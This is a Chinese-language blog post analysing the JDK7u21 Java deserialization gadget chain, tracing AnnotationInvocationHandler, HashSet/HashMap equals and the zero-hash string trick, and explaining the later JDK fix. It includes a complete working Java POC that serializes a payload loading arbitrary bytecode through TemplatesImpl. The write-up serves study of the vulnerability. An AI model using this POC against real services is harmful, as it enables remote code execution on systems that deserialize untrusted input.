首页 > 其他分享 >07jdk7u21原生利用链

07jdk7u21原生利用链

时间:2025-01-14 19:11:05浏览次数:1  
标签:原生 return java value 利用 key new hash 07jdk7u21

JDK7u21

反序列化的关键

  • 在于找到可以动态方法执行的代码:例如CC链中的Transformer,CB链中的PropertyUtils#getProperty

JDK7u21中动态方法执行的点,AnnotationInvocationHandler#equalsImpl中的hisValue = memberMethod.invoke(o)

private Boolean equalsImpl(Object o) {
        if (o == this)
            return true;

        if (!type.isInstance(o))
            return false;
        for (Method memberMethod : getMemberMethods()) {
            String member = memberMethod.getName();
            Object ourValue = memberValues.get(member);
            Object hisValue = null;
            AnnotationInvocationHandler hisHandler = asOneOfUs(o);
            if (hisHandler != null) {
                hisValue = hisHandler.memberValues.get(member);
            } else {
                try {
                    hisValue = memberMethod.invoke(o);
                } catch (InvocationTargetException e) {
                    return false;
                } catch (IllegalAccessException e) {
                    throw new AssertionError(e);
                }
            }
            if (!memberValueEquals(ourValue, hisValue))
                return false;
        }
        return true;
    }

private Method[] getMemberMethods() {
        if (memberMethods == null) {
            memberMethods = AccessController.doPrivileged(
                new PrivilegedAction<Method[]>() {
                    public Method[] run() {
                        final Method[] mm = type.getDeclaredMethods();
                        validateAnnotationMethods(mm);
                        AccessibleObject.setAccessible(mm, true);
                        return mm;
                    }
                });
        }
        return memberMethods;
    }

AnnotationInvocationHandler#equalsImpl是一个私有方法,仅在AnnotationInvocationHandler#invoke中被调用,它遍历执行了this.type的所有方法,如果这里的this.type为TemplatesImpl,那就可以实现任意代码执行。

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

前面找到动态代码执行的关键后,构造链条的关键即在于如何调用equalsImpl和equalsImpl如何进行任意代码执行。

如何调用equalsImpl

由于AnnotationInvocationHandler实现了接口InvocationHandler,这里很明显可以采用CC1中用到的动态代理调用AnnotationInvocationHandler#invoke,但是注意到invoke的代码逻辑,我们代理的对象,必须是调用名为equals且只有一个Object类型的参数时,才会触发equalsImpl。

找到equals调用链

equals方法通常用于比较两个对象是否是同一引用,一个常见场景是集合set,集合是不允许重复对象的,所以在添加对象时势必涉及到比较操作。

// HashSet#readObject
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read capacity and verify non-negative.
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }

        // Read load factor and verify positive and non NaN.
        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        }

        // Read size and verify non-negative.
        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " +
                                             size);
        }

        // Set the capacity according to the size and load factor ensuring that
        // the HashMap is at least 25% full but clamping to maximum capacity.
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

HashSet在readObject时,通过HashMap来保证集合的一些特性,向HashMap内部追溯,寻找equals操作。

// jdk8u21 hashmap
 public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

下面我们来详细分析HashMap#putVal:

  1. 首先判断传入的 key 是否为 null。如果是,则调用 putForNullKey() 方法处理这种特殊情况。
  2. 计算 key 的哈希值,并使用 indexFor() 方法根据哈希值和当前 HashMap 的长度计算出该键值对在 table 数组中的索引位置 i
  3. 然后遍历位于索引 i 处的链表,检查是否已经存在与传入的 key 相等的键值对。
    • 如果找到了,则更新该键值对的 value 值,并返回旧的 value 值。
    • 如果没找到,则跳出循环。
  4. 如果遍历完链表后仍未找到与传入的 key 相等的键值对,则调用 addEntry() 方法,将新的键值对添加到 HashMap 中。
  5. 最后,更新 modCount 变量,该变量用于记录 HashMap 结构发生变化的次数。
 if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

关键代码在这里,由于||运算符的惰性运算,我们比较的两个对象必须满足hash值相同且key不同,才能触发后面的key.equals(k),这里key是代理对象,k是TemplatesImpl,即可进行任意代码执行。

找到合适的proxy对象,使得其hash和TemplatesImpl的hash相等

查看HashMap的hash函数

final int hash(Object k) {
        int h = 0;
    	// 是否启用备用hash算法,一般情况下不启用,可忽略
        if (useAltHashing) {
            if (k instanceof String) {
                return sun.misc.Hashing.stringHash32((String) k);
            }
            h = hashSeed;
        }

        h ^= k.hashCode();

        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

这里k.hashCode()作为产生hash的唯一变量,由于TemplateImpl的hashCode方法是一个Native方法,我们不好追溯,因此选择看一下代理对象的hashCode,而proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到 AnnotationInvocationHandler#hashCodeImpl

private int hashCodeImpl() {
        int result = 0;
        for (Map.Entry<String, Object> e : memberValues.entrySet()) {
            result += (127 * e.getKey().hashCode()) ^
                memberValueHashCode(e.getValue());
        }
        return result;
    }

private static int memberValueHashCode(Object value) {
        Class<?> type = value.getClass();
        if (!type.isArray())    // primitive, string, class, enum const,
                                // or annotation
            return value.hashCode();

        // ......
    }

这里代码逻辑很简答,遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。

我们如何构造一个和恶意TemplateImpl的hash值一致的代理对象呢,JDK7u21中使用了一个非常巧妙的方法:

  • 当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
  • 当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode() 。
  • 当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等
 public static void bruteHashCode()
    {
        for (long i = 0; i < 9999999999L; i++) {
            if (Long.toHexString(i).hashCode() == 0) {
                System.out.println(Long.toHexString(i));
            }
        }
    }

可以通过一个简单的爆破程序找到一个hash值为0的字符串

POC代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        byte[] classBytes = Files.readAllBytes(Paths.get("your\\class\\path"));

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                classBytes
        });
        setFieldValue(templates, "_name", "CalcExample");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


}

注意这里代码添加的顺序

set.add(templates);
set.add(proxy);

在hash表中,同一hash地址对应的链表中的元素是有先后顺序的,我们要保证key.equals(k)的k是恶意TemplatesImpl,key是代理对象,而不是反过来。

poc代码中的两个问题

有两个小问题,InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); 1.为啥可以传递Templates.class进去,要求不是继承或实现了Annotation 接口的class吗 2.第一个参数传Templates.class是因为这个接口的实现类只有TemplatesImpl 这一个吗,后面type遍历也能调方法

解答:

联想到cc1,我当时也有这个疑问。后面看了一下,可能是和不同jdk版本的AnnotationInvocationHandler实现不同,我看了jdk7u21和jdk8u66这两个版本的构造函数是不一样的,7u21中AnnotationInvocationHandler(Class var1, Map<string, object=""> var2) { this.type = var1; this.memberValues = var2; } 8u66中AnnotationInvocationHandler(Class type, Map<string, object=""> memberValues) { Class[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } 这里Class<? extends Annotation>泛型检查只有编译阶段有,所以参数传入是没什么问题的,8u66中主要是if判断不符合类型要求会抛出异常。

修复

image-20240805153347656

在 sun.reflect.annotation.AnnotationInvocationHandler 类的readObject函数中,原本有一个 对 this.type 的检查,在其不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没 有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。 新版中,将 return; 修改成throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); ,这样,反序列化时会出现一个异常,导致整个过程停止。

标签:原生,return,java,value,利用,key,new,hash,07jdk7u21
From: https://www.cnblogs.com/LSF2456/p/18671404

相关文章

  • 如何利用AI进行用户体验测试
    用户体验(UserExperience,UX)在现代产品设计中占据核心地位。随着技术的发展,用户对产品体验的要求越来越高,传统的用户体验测试方法面临诸如效率低、覆盖范围有限、数据主观性强等问题。人工智能(AI)以其强大的数据处理能力、模式识别能力和自动化优势,为用户体验测试注入了新的活......
  • O2O模式实战手册:利用板栗看板优化项目管理流程
    O2O(OnlineToOffline)模式,又称离线商务模式,是指线上营销线上购买或预订(预约)带动线下经营和线下消费。以下是对O2O模式的详细解析:一、模式概念O2O这个概念是2011年由AlexRampell提出来的,即将线下商务的机会与互联网结合在了一起,让互联网成为线下交易的前台。这样线下服务就可以......
  • RN/H5多设备自适应组件库来了,高效实现鸿蒙原生应用多设备精致体验
    在原生鸿蒙应用开发中,华为针对ArkUI框架推出了一整套针对多设备适配的完善能力(如“一多”能力)以及高阶组件(如分栏、边看边评等),帮助开发者轻松实现“一次开发,多端部署”。然而,当前鸿蒙生态仍存在大量用跨平台框架开发的应用,部分页面采用ReactNative(RN)和H5等框架开发,这些框架在系统......
  • 用DevEco Studio性能分析工具 高效解决鸿蒙原生应用内存问题
    在鸿蒙原生应用开发过程中,可能由于种种原因导致应用内存未被正常地使用或者归还至操作系统,从而引发内存异常占用、内存泄漏等问题,最终导致应用卡顿甚至崩溃,严重影响用户体验。为了帮助鸿蒙应用开发者高效定位并解决内存问题、提升应用稳定性与体验,华为在DevEcoStudio上提供了专属......
  • vue项目利用vite打包发版,前端页面自动提示用户刷新页面
    概要        我们做一个纯前端自动提示用户刷新页面的功能,这个功能主要是防止用户的js代码还是旧版的导致某些功能没能及时更新。整体架构流程1、我们先在public/version.json创建这个json文件,用来存储版本号{"version":"1.0"}2、我们可以在vite.config.j......
  • 利用CSS改变图片颜色的100种方法!
    https://juejin.cn/post/6844903682010513415前言“说到对图片进行处理,我们经常会想到PhotoShop这类的图像处理工具。作为前端开发者,我们经常会需要处理一些特效,例如根据不同的状态,让图标显示不同的颜色。或者是hover的时候,对图片的对比度,阴影进行处理。”你以为这些是经......
  • 利用 LangChain 与 Eden AI 模型进行交互的完整指南
    利用LangChain与EdenAI模型进行交互的完整指南EdenAI是一个颠覆性的AI平台,通过统一多个提供商的优秀AI模型,简化了开发者的工作流。凭借单一API,开发者可以快速将强大的AI功能整合到生产环境中,轻松实现多样化的AI能力。本文将介绍如何使用LangChain与Eden......
  • 利用Python爬虫获取item_search_shop-获得店铺的所有商品API接口
    在电子商务领域,获取店铺的所有商品信息对于市场分析、竞品研究和用户体验优化至关重要。淘宝开放平台提供了丰富的API接口,其中item_search_shop接口允许开发者获取指定店铺的所有商品信息。本文将详细介绍如何使用Python爬虫技术调用该API接口,并对获取到的数据进行分析和应用。一......
  • 【HarmonyOS Next NAPI 深度探索1】Node.js 和 CC++ 原生扩展简介
    【HarmonyOSNextNAPI深度探索1】Node.js和CC++原生扩展简介如果你用过Node.js,应该知道它强大的地方在于能处理各种场景,速度还很快。但你有没有想过,Node.js的速度秘密是什么?今天我们来聊聊其中一个幕后英雄——原生扩展,特别是如何通过C/C++把JavaScript的能力进......
  • JNI原生基础类型与集合类型认识
    1.JNI基础类型认识:JNI类型与C++类型及JAVA类型的对应关系  2.JNI基础类型对应的JAVA类型3.基础类型使用示例jboolean_jbool=false;//uint8_t%u无符号8位整数jbyte_byte=0xff;//int8_t;%d有符号8位整数jchar_char=0xffff;//uint16_t;%u无符号......